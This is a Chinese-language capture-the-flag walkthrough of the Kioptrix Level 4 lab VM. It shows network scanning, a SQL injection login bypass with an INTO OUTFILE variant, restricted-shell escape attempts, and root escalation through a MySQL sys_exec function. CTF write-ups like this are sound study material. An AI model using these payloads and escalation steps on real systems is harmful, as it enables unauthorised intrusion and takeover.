Kioptrix Level 4 Walkthrough

Box Info

官网在这里:Kioptrix: Level 1.3 (#4)

image-20250412171255979

The Hack

确定存活的主机

nmap -sP 192.168.186.0/24

image-20250412152621986

对目标 IP 进行端口发现

nmap -p- 192.168.186.151

发现开放 22,80,139,445 端口

image-20250412152646226

对开放的端口进行应用版本发现

nmap -p 22,80,139,445 -A 192.168.186.151

22 端口开放 SSH 服务,80 端口开放 HTTP 服务,139 和 445 都是 SMB 服务

image-20250412152726245

先来看 22 端口 SSH 服务,看看对应版本有无可直接利用的漏洞

searchsploit openssh 4.7

暂时没有发现什么可利用的漏洞

image-20250411101243184

再来看 80 端口,进行目录扫描

dirsearch -u http://192.168.186.150

发现可疑目录

image-20250412152915346

/images 目录下有张 cartoon_goat.png 图片

image-20250412153228089

将其保存至本机,看看图片是否泄露信息

strings cartoon_goat.png

可惜没有

image-20250412153119443

直接访问 80 端口,发现是登陆页面,源码也没泄露关键信息

image-20250412153336276

尝试弱口令登陆,发现登陆失败则会 302 重定向至 /checklogin.php

image-20250412153520258

最后来看 /database.sql ,发现是将 john/1234 插入 member 的 table 中,泄露账户和密码

image-20250412153636173

尝试使用 john/1234 登陆 ssh

ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.186.151

登陆失败

image-20250412153827171

登陆后台,也失败

image-20250412153932406

既然都有数据库,那是否存在 SQL 注入呢?经过探查发现,在 mypassword 处发现单引号字符型注入

image-20250412154217894

试试看万能密码?由于是 post 型,所以要将注释符更改为 %23 (#)

image-20250412154551345

登陆成功,获得 john 真正的密码

image-20250412154435322

或者可以执行如下命令

' or 1=1 into outfile '/var/www/user.txt' #

获得用户和密码

image-20250412170847009

该方法局限性在于网站根目录不一定是 /var/www

尝试使用 ssh 远程登陆

ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.186.151

登陆成功,但似乎是在一个受限的环境中

image-20250412154802099

在这种情况下,需要逃逸 restrict shell ,可以尝试使用如下命令

ssh username@IP -t "/bin/bash" or "/bin/sh"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash"

都失败了…

由于可以执行 echo ,尝试 echo os.system("/bin/bash") 逃逸,逃逸成功

image-20250412155308111

接下来是提权,先查看目标主机真实开放的端口,发现有 3306 端口

image-20250412161508849

同时能发现 MySQL 以 root 身份运行

image-20250412162025117

那就去 web 网站目录看看有没有泄露 MySQL 账户密码,在 checklogin.php 出找到 root 账户的密码为空

image-20250412162244952

登陆 MySQL 服务

mysql -h localhost -u root -p

image-20250412162751992

在查看 mysql 数据库时发现存在 func 表

image-20250412163002390

且表中含有执行命令的函数

image-20250412163052071

将 john 加入 root 用户组

select sys_exec('usermod -aG admin john');

使用 sudo su 切换为 root 身份,密码为 MyNameIsJohn ,提权成功

image-20250412170346429

获得 flag

image-20250412170449450